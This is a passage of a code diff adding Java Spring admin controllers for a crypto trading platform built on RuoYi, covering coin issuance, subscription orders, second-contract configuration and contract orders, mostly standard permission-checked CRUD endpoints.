}
/**
* 获取公告管理枚举list
* @return
*/
@PreAuthorize("@ss.hasPermi('bussiness:notice:NoticeTypeList')")
@GetMapping("/noticeTypeList")
public TableDataInfo noticeTypeList()
{
return getDataTable(NoticeTypeEnum.getEnum());
}
}

120
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOptionRulesController.java

@ -0,0 +1,120 @@
package com.ruoyi.web.controller.bussiness;
import java.util.Arrays;
import java.util.List;
import java.util.stream.Stream;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.common.enums.OptionRulesEnum;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TOptionRules;
import com.ruoyi.bussiness.service.ITOptionRulesService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 前台文本配置Controller
*
* @author ruoyi
* @date 2023-07-19
*/
@RestController
@RequestMapping("/bussiness/option/rules")
public class TOptionRulesController extends BaseController
{
@Autowired
private ITOptionRulesService tOptionRulesService;
/**
* 查询前台文本配置列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:rules:list')")
@GetMapping("/list")
public TableDataInfo list(TOptionRules tOptionRules)
{
tOptionRules.setType(OptionRulesEnum.valueOf(tOptionRules.getKey()).getCode());
startPage();
List<TOptionRules> list = tOptionRulesService.selectTOptionRulesList(tOptionRules);
return getDataTable(list);
}
/**
* 查询前台文本配置菜单列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:rules:labelList')")
@GetMapping("/labelList")
public TableDataInfo labelList()
{
return getDataTable(OptionRulesEnum.getEnum());
}
/**
* 导出前台文本配置列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:rules:export')")
@Log(title = "前台文本配置", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TOptionRules tOptionRules)
{
List<TOptionRules> list = tOptionRulesService.selectTOptionRulesList(tOptionRules);
ExcelUtil<TOptionRules> util = new ExcelUtil<TOptionRules>(TOptionRules.class);
util.exportExcel(response, list, "前台文本配置数据");
}
/**
* 获取前台文本配置详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:rules:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tOptionRulesService.selectTOptionRulesById(id));
}
/**
* 新增前台文本配置
*/
@PreAuthorize("@ss.hasPermi('bussiness:rules:add')")
@Log(title = "前台文本配置", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TOptionRules tOptionRules)
{
tOptionRules.setType(OptionRulesEnum.valueOf(tOptionRules.getKey()).getCode());
return toAjax(tOptionRulesService.insertTOptionRules(tOptionRules));
}
/**
* 修改前台文本配置
*/
@PreAuthorize("@ss.hasPermi('bussiness:rules:edit')")
@Log(title = "前台文本配置", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TOptionRules tOptionRules)
{
return toAjax(tOptionRulesService.updateTOptionRules(tOptionRules));
}
/**
* 删除前台文本配置
*/
@PreAuthorize("@ss.hasPermi('bussiness:rules:remove')")
@Log(title = "前台文本配置", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tOptionRulesService.deleteTOptionRulesByIds(ids));
}
}

186
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinController.java

@ -0,0 +1,186 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import java.util.Objects;
import javax.annotation.Resource;
import javax.servlet.http.HttpServletResponse;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.ruoyi.bussiness.domain.KlineSymbol;
import com.ruoyi.bussiness.domain.TOwnCoinSubscribeOrder;
import com.ruoyi.bussiness.domain.TSpontaneousCoin;
import com.ruoyi.bussiness.service.IKlineSymbolService;
import com.ruoyi.bussiness.service.ITSpontaneousCoinService;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TOwnCoin;
import com.ruoyi.bussiness.service.ITOwnCoinService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 发币Controller
*
* @author ruoyi
* @date 2023-09-18
*/
@RestController
@RequestMapping("/bussiness/ownCoin")
public class TOwnCoinController extends BaseController
{
@Autowired
private ITOwnCoinService tOwnCoinService;
@Resource
private ITSpontaneousCoinService tSpontaneousCoinService;
@Resource
private IKlineSymbolService klineSymbolService;
/**
* 查询发币列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:coin:list')")
@GetMapping("/list")
public TableDataInfo list(TOwnCoin tOwnCoin)
{
startPage();
List<TOwnCoin> list = tOwnCoinService.selectTOwnCoinList(tOwnCoin);
return getDataTable(list);
}
/**
* 导出发币列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:coin:export')")
@Log(title = "发币", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TOwnCoin tOwnCoin)
{
List<TOwnCoin> list = tOwnCoinService.selectTOwnCoinList(tOwnCoin);
ExcelUtil<TOwnCoin> util = new ExcelUtil<TOwnCoin>(TOwnCoin.class);
util.exportExcel(response, list, "发币数据");
}
/**
* 获取发币详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:coin:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tOwnCoinService.selectTOwnCoinById(id));
}
/**
* 新增发币
*/
@PreAuthorize("@ss.hasPermi('bussiness:coin:add')")
@Log(title = "发币", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TOwnCoin tOwnCoin)
{
tOwnCoin.setCoin(tOwnCoin.getCoin().toLowerCase());
TSpontaneousCoin oldSpontaneousCoin = tSpontaneousCoinService.getOne(new LambdaQueryWrapper<TSpontaneousCoin>().eq(TSpontaneousCoin::getCoin, tOwnCoin.getCoin()));
TOwnCoin oldTOwnCoin = tOwnCoinService.getOne(new LambdaQueryWrapper<TOwnCoin>().eq(TOwnCoin::getCoin, tOwnCoin.getCoin()));
KlineSymbol oldklineSymbol = klineSymbolService.getOne(new LambdaQueryWrapper<KlineSymbol>()
.eq(KlineSymbol::getSymbol, tOwnCoin.getCoin())
.and(k->k.eq(KlineSymbol::getMarket,"binance").or().eq(KlineSymbol::getMarket,"echo")));
if (Objects.nonNull(oldSpontaneousCoin) || Objects.nonNull(oldTOwnCoin) || Objects.nonNull(oldklineSymbol)){
return AjaxResult.error(tOwnCoin.getCoin()+"已经存在");
}
return toAjax(tOwnCoinService.insertTOwnCoin(tOwnCoin));
}
/**
* 修改发币
*/
@PreAuthorize("@ss.hasPermi('bussiness:coin:edit')")
@Log(title = "发币", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TOwnCoin tOwnCoin)
{
return toAjax(tOwnCoinService.updateTOwnCoin(tOwnCoin));
}
/**
* 删除发币
*/
@PreAuthorize("@ss.hasPermi('bussiness:coin:remove')")
@Log(title = "发币", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tOwnCoinService.deleteTOwnCoinByIds(ids));
}
/**
* 发布新币
*/
@PreAuthorize("@ss.hasPermi('bussiness:coin:edit')")
@Log(title = "发布", businessType = BusinessType.UPDATE)
@GetMapping("/editStatus/{id}")
public AjaxResult editStatus(@PathVariable Long id)
{
return toAjax(tOwnCoinService.editStatus(id));
}
/**
* 新币上线中发币结束 申购资产发送
*/
@PreAuthorize("@ss.hasPermi('bussiness:coin:edit')")
@Log(title = "发布", businessType = BusinessType.UPDATE)
@GetMapping("/editReleaseStatus/{id}")
public AjaxResult editReleaseStatus(@PathVariable Long id)
{
return toAjax(tOwnCoinService.editReleaseStatus(id));
}
/**
* 查询发币订阅列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:coin:list')")
@Log(title = "订阅")
@GetMapping("/subscribeList")
public TableDataInfo subscribeList(TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder)
{
startPage();
List<TOwnCoinSubscribeOrder> list = tOwnCoinService.selectTOwnCoinSubscribeOrderList(tOwnCoinSubscribeOrder);
return getDataTable(list);
}
/**
* 查询订阅订单详情
*
* @param id
* @return
*/
@PreAuthorize("@ss.hasPermi('bussiness:coin:edit')")
@Log(title = "订阅")
@GetMapping("/subOrder/{id}")
public AjaxResult subOrder(@PathVariable Long id)
{
return success(tOwnCoinService.getTOwnCoinSubscribeOrder(id));
}
/**
* 修改(审批)发币订阅
*/
@PreAuthorize("@ss.hasPermi('bussiness:coin:edit')")
@Log(title = "订阅", businessType = BusinessType.UPDATE)
@PostMapping("/editSubscribe")
public AjaxResult editSubscribe(@RequestBody TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder)
{
return toAjax(tOwnCoinService.updateTOwnCoinSubscribeOrder(tOwnCoinSubscribeOrder));
}
}

118
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinOrderController.java

@ -0,0 +1,118 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TOwnCoinOrder;
import com.ruoyi.bussiness.service.ITOwnCoinOrderService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 申购订单Controller
*
* @author ruoyi
* @date 2023-09-20
*/
@RestController
@RequestMapping("/bussiness/ownCoinOrder")
public class TOwnCoinOrderController extends BaseController
{
@Autowired
private ITOwnCoinOrderService tOwnCoinOrderService;
/**
* 查询申购订单列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:ownCoinOrder:list')")
@GetMapping("/list")
public TableDataInfo list(TOwnCoinOrder tOwnCoinOrder)
{
startPage();
List<TOwnCoinOrder> list = tOwnCoinOrderService.selectTOwnCoinOrderList(tOwnCoinOrder);
return getDataTable(list);
}
/**
* 导出申购订单列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:ownCoinOrder:export')")
@Log(title = "申购订单", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TOwnCoinOrder tOwnCoinOrder)
{
List<TOwnCoinOrder> list = tOwnCoinOrderService.selectTOwnCoinOrderList(tOwnCoinOrder);
ExcelUtil<TOwnCoinOrder> util = new ExcelUtil<TOwnCoinOrder>(TOwnCoinOrder.class);
util.exportExcel(response, list, "申购订单数据");
}
/**
* 获取申购订单详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:ownCoinOrder:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tOwnCoinOrderService.selectTOwnCoinOrderById(id));
}
/**
* 新增申购订单
*/
@PreAuthorize("@ss.hasPermi('bussiness:ownCoinOrder:add')")
@Log(title = "申购订单", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TOwnCoinOrder tOwnCoinOrder)
{
return toAjax(tOwnCoinOrderService.insertTOwnCoinOrder(tOwnCoinOrder));
}
/**
* 修改申购订单
*/
@PreAuthorize("@ss.hasPermi('bussiness:ownCoinOrder:edit')")
@Log(title = "申购订单", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TOwnCoinOrder tOwnCoinOrder)
{
return toAjax(tOwnCoinOrderService.updateTOwnCoinOrder(tOwnCoinOrder));
}
/**
* 删除申购订单
*/
@PreAuthorize("@ss.hasPermi('bussiness:ownCoinOrder:remove')")
@Log(title = "申购订单", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tOwnCoinOrderService.deleteTOwnCoinOrderByIds(ids));
}
/**
* 审批修改申购订单
*
* @param tOwnCoinOrder
* @return
*/
@PreAuthorize("@ss.hasPermi('bussiness:ownCoinOrder:edit')")
@Log(title = "申购订单", businessType = BusinessType.UPDATE)
@PostMapping("/editPlacing")
public AjaxResult editPlacing(@RequestBody TOwnCoinOrder tOwnCoinOrder)
{
return tOwnCoinOrderService.editPlacing(tOwnCoinOrder);
}
}

150
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondCoinConfigController.java

@ -0,0 +1,150 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import java.util.Map;
import javax.servlet.http.HttpServletResponse;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.ruoyi.bussiness.domain.TSecondCoinConfig;
import com.ruoyi.bussiness.domain.vo.SecondCoinCopyVO;
import com.ruoyi.bussiness.service.ITSecondCoinConfigService;
import com.ruoyi.common.utils.SecurityUtils;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 秒合约币种配置Controller
*
* @author ruoyi
* @date 2023-07-11
*/
@RestController
@RequestMapping("/bussiness/coin")
public class TSecondCoinConfigController extends BaseController
{
@Autowired
private ITSecondCoinConfigService tSecondCoinConfigService;
/**
* 查询秒合约币种配置列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:coin:config:list')")
@GetMapping("/list")
public TableDataInfo list(TSecondCoinConfig tSecondCoinConfig)
{
startPage();
List<TSecondCoinConfig> list = tSecondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig);
return getDataTable(list);
}
@PreAuthorize("@ss.hasPermi('bussiness:coin:config:list')")
@GetMapping("/copylist")
public AjaxResult copylist(TSecondCoinConfig tSecondCoinConfig)
{
List<TSecondCoinConfig> list = tSecondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig);
return AjaxResult.success(list);
}
/**
* 导出秒合约币种配置列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:coin:config:export')")
@Log(title = "秒合约币种配置", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TSecondCoinConfig tSecondCoinConfig)
{
List<TSecondCoinConfig> list = tSecondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig);
ExcelUtil<TSecondCoinConfig> util = new ExcelUtil<TSecondCoinConfig>(TSecondCoinConfig.class);
util.exportExcel(response, list, "秒合约币种配置数据");
}
/**
* 获取秒合约币种配置详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:coin:config:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tSecondCoinConfigService.selectTSecondCoinConfigById(id));
}
/**
* 新增秒合约币种配置
*/
@PreAuthorize("@ss.hasPermi('bussiness:coin:config:add')")
@Log(title = "秒合约币种配置", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TSecondCoinConfig tSecondCoinConfig)
{
TSecondCoinConfig one = tSecondCoinConfigService.getOne(new LambdaQueryWrapper<TSecondCoinConfig>().eq(TSecondCoinConfig::getCoin, tSecondCoinConfig.getCoin()));
if(null != one){
return AjaxResult.success("请勿重复添加!");
}
tSecondCoinConfig.setCreateBy(SecurityUtils.getUsername());
return toAjax(tSecondCoinConfigService.insertSecondCoin(tSecondCoinConfig));
}
/**
* 一键添加秒合约币种
*/
@PreAuthorize("@ss.hasPermi('bussiness:coin:config:add')")
@Log(title = "秒合约币种配置", businessType = BusinessType.INSERT)
@PostMapping("batchSave/{coins}")
public AjaxResult batchSave(@PathVariable String[] coins)
{
tSecondCoinConfigService.batchSave(coins);
return AjaxResult.success();
}
/**
* 修改秒合约币种配置
*/
@PreAuthorize("@ss.hasPermi('bussiness:coin:config:edit')")
@Log(title = "秒合约币种配置", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TSecondCoinConfig tSecondCoinConfig)
{
tSecondCoinConfig.setUpdateBy(SecurityUtils.getUsername());
return toAjax(tSecondCoinConfigService.updateTSecondCoinConfig(tSecondCoinConfig));
}
/**
* 删除秒合约币种配置
*/
@PreAuthorize("@ss.hasPermi('bussiness:coin:config:remove')")
@Log(title = "秒合约币种配置", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tSecondCoinConfigService.deleteTSecondCoinConfigByIds(ids));
}
@PreAuthorize("@ss.hasPermi('bussiness:coin:config:bathCopy')")
@Log(title = "查看已有的周期配置币种", businessType = BusinessType.DELETE)
@PostMapping("/query/bathCopy")
public AjaxResult bathCopy()
{
return AjaxResult.success(tSecondCoinConfigService.selectBathCopySecondCoinConfigList());
}
/**
* 周期配置批量复制
* @return
*/
@PostMapping("/bathCopyIng")
public AjaxResult bathCopyIng(@RequestBody SecondCoinCopyVO secondCoinCopyVO)
{
return toAjax(tSecondCoinConfigService.bathCopyIng(secondCoinCopyVO));
}
}

125
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondContractOrderController.java

@ -0,0 +1,125 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.bussiness.domain.TSecondContractOrder;
import com.ruoyi.bussiness.service.ITSecondContractOrderService;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 秒合约订单Controller
*
* @author ruoyi
* @date 2023-07-13
*/
@RestController
@RequestMapping("/bussiness/secondContractOrder")
public class TSecondContractOrderController extends BaseController
{
@Autowired
private ITSecondContractOrderService tSecondContractOrderService;
/**
* 查询秒合约订单列表
*/
@PreAuthorize("@ss.hasPermi('secondContractOrder:order:list')")
@GetMapping("/list")
public TableDataInfo list(TSecondContractOrder tSecondContractOrder)
{
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
if(!user.isAdmin()){
if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){
tSecondContractOrder.setAdminParentIds(String.valueOf(user.getUserId()));
}
}
startPage();
List<TSecondContractOrder> list = tSecondContractOrderService.selectTSecondContractOrderList(tSecondContractOrder);
return getDataTable(list);
}
/**
* 导出秒合约订单列表
*/
@PreAuthorize("@ss.hasPermi('secondContractOrder:order:export')")
@Log(title = "秒合约订单", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TSecondContractOrder tSecondContractOrder)
{
List<TSecondContractOrder> list = tSecondContractOrderService.selectTSecondContractOrderList(tSecondContractOrder);
ExcelUtil<TSecondContractOrder> util = new ExcelUtil<TSecondContractOrder>(TSecondContractOrder.class);
util.exportExcel(response, list, "秒合约订单数据");
}
/**
* 获取秒合约订单详细信息
*/
@PreAuthorize("@ss.hasPermi('secondContractOrder:order:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tSecondContractOrderService.selectTSecondContractOrderById(id));
}
/**
* 新增秒合约订单
*/
@PreAuthorize("@ss.hasPermi('secondContractOrder:order:add')")
@Log(title = "秒合约订单", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TSecondContractOrder tSecondContractOrder)
{
return toAjax(tSecondContractOrderService.insertTSecondContractOrder(tSecondContractOrder));
}
/**
* 修改秒合约订单
*/
@PreAuthorize("@ss.hasPermi('secondContractOrder:order:edit')")
@Log(title = "秒合约订单", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TSecondContractOrder tSecondContractOrder)
{
return toAjax(tSecondContractOrderService.updateTSecondContractOrder(tSecondContractOrder));
}
/**
* 删除秒合约订单
*/
@PreAuthorize("@ss.hasPermi('secondContractOrder:order:remove')")
@Log(title = "秒合约订单", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tSecondContractOrderService.deleteTSecondContractOrderByIds(ids));
}
@PreAuthorize("@ss.hasPermi('secondContractOrder:order:edit')")
@Log(title = "秒合约订单", businessType = BusinessType.UPDATE)
@PostMapping("/buff")
public AjaxResult buff(@RequestBody TSecondContractOrder tSecondContractOrder)
{
return toAjax(tSecondContractOrderService.updateTSecondContractOrder(tSecondContractOrder));
}
}

105
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondPeriodConfigController.java

@ -0,0 +1,105 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.bussiness.domain.TSecondPeriodConfig;
import com.ruoyi.bussiness.service.ITSecondPeriodConfigService;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 秒合约币种周期配置Controller
*
* @author ruoyi
* @date 2023-07-11
*/
@RestController
@RequestMapping("/bussiness/period")
public class TSecondPeriodConfigController extends BaseController
{
@Autowired
private ITSecondPeriodConfigService tSecondPeriodConfigService;
/**
* 查询秒合约币种周期配置列表
*/
@PreAuthorize("@ss.hasPermi('period:config:list')")
@GetMapping("/list")
public TableDataInfo list(TSecondPeriodConfig tSecondPeriodConfig)
{
startPage();
List<TSecondPeriodConfig> list = tSecondPeriodConfigService.selectTSecondPeriodConfigList(tSecondPeriodConfig);
return getDataTable(list);
}
/**
* 导出秒合约币种周期配置列表
*/
@PreAuthorize("@ss.hasPermi('period:config:export')")
@Log(title = "秒合约币种周期配置", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TSecondPeriodConfig tSecondPeriodConfig)
{
List<TSecondPeriodConfig> list = tSecondPeriodConfigService.selectTSecondPeriodConfigList(tSecondPeriodConfig);
ExcelUtil<TSecondPeriodConfig> util = new ExcelUtil<TSecondPeriodConfig>(TSecondPeriodConfig.class);
util.exportExcel(response, list, "秒合约币种周期配置数据");
}
/**
* 获取秒合约币种周期配置详细信息
*/
@PreAuthorize("@ss.hasPermi('period:config:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tSecondPeriodConfigService.selectTSecondPeriodConfigById(id));
}
/**
* 新增秒合约币种周期配置
*/
@PreAuthorize("@ss.hasPermi('period:config:add')")
@Log(title = "秒合约币种周期配置", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TSecondPeriodConfig tSecondPeriodConfig)
{
return toAjax(tSecondPeriodConfigService.insertTSecondPeriodConfig(tSecondPeriodConfig));
}
/**
* 修改秒合约币种周期配置
*/
@PreAuthorize("@ss.hasPermi('period:config:edit')")
@Log(title = "秒合约币种周期配置", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TSecondPeriodConfig tSecondPeriodConfig)
{
return toAjax(tSecondPeriodConfigService.updateTSecondPeriodConfig(tSecondPeriodConfig));
}
/**
* 删除秒合约币种周期配置
*/
@PreAuthorize("@ss.hasPermi('period:config:remove')")
@Log(title = "秒合约币种周期配置", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tSecondPeriodConfigService.deleteTSecondPeriodConfigByIds(ids));
}
}

125
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSpontaneousCoinController.java

@ -0,0 +1,125 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import java.util.Objects;
import javax.annotation.Resource;
import javax.servlet.http.HttpServletResponse;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.ruoyi.bussiness.domain.KlineSymbol;
import com.ruoyi.bussiness.domain.TOwnCoin;
import com.ruoyi.bussiness.service.IKlineSymbolService;
import com.ruoyi.bussiness.service.ITOwnCoinService;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TSpontaneousCoin;
import com.ruoyi.bussiness.service.ITSpontaneousCoinService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 自发币种配置Controller
*
* @author ruoyi
* @date 2023-10-08
*/
@RestController
@RequestMapping("/bussiness/spontaneousCoin")
public class TSpontaneousCoinController extends BaseController
{
@Autowired
private ITOwnCoinService tOwnCoinService;
@Resource
private ITSpontaneousCoinService tSpontaneousCoinService;
@Resource
private IKlineSymbolService klineSymbolService;
/**
* 查询自发币种配置列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:spontaneousCoin:list')")
@GetMapping("/list")
public TableDataInfo list(TSpontaneousCoin tSpontaneousCoin)
{
startPage();
List<TSpontaneousCoin> list = tSpontaneousCoinService.selectTSpontaneousCoinList(tSpontaneousCoin);
return getDataTable(list);
}
/**
* 导出自发币种配置列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:spontaneousCoin:export')")
@Log(title = "自发币种配置", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TSpontaneousCoin tSpontaneousCoin)
{
List<TSpontaneousCoin> list = tSpontaneousCoinService.selectTSpontaneousCoinList(tSpontaneousCoin);
ExcelUtil<TSpontaneousCoin> util = new ExcelUtil<TSpontaneousCoin>(TSpontaneousCoin.class);
util.exportExcel(response, list, "自发币种配置数据");
}
/**
* 获取自发币种配置详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:spontaneousCoin:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tSpontaneousCoinService.selectTSpontaneousCoinById(id));
}
/**
* 新增自发币种配置
*/
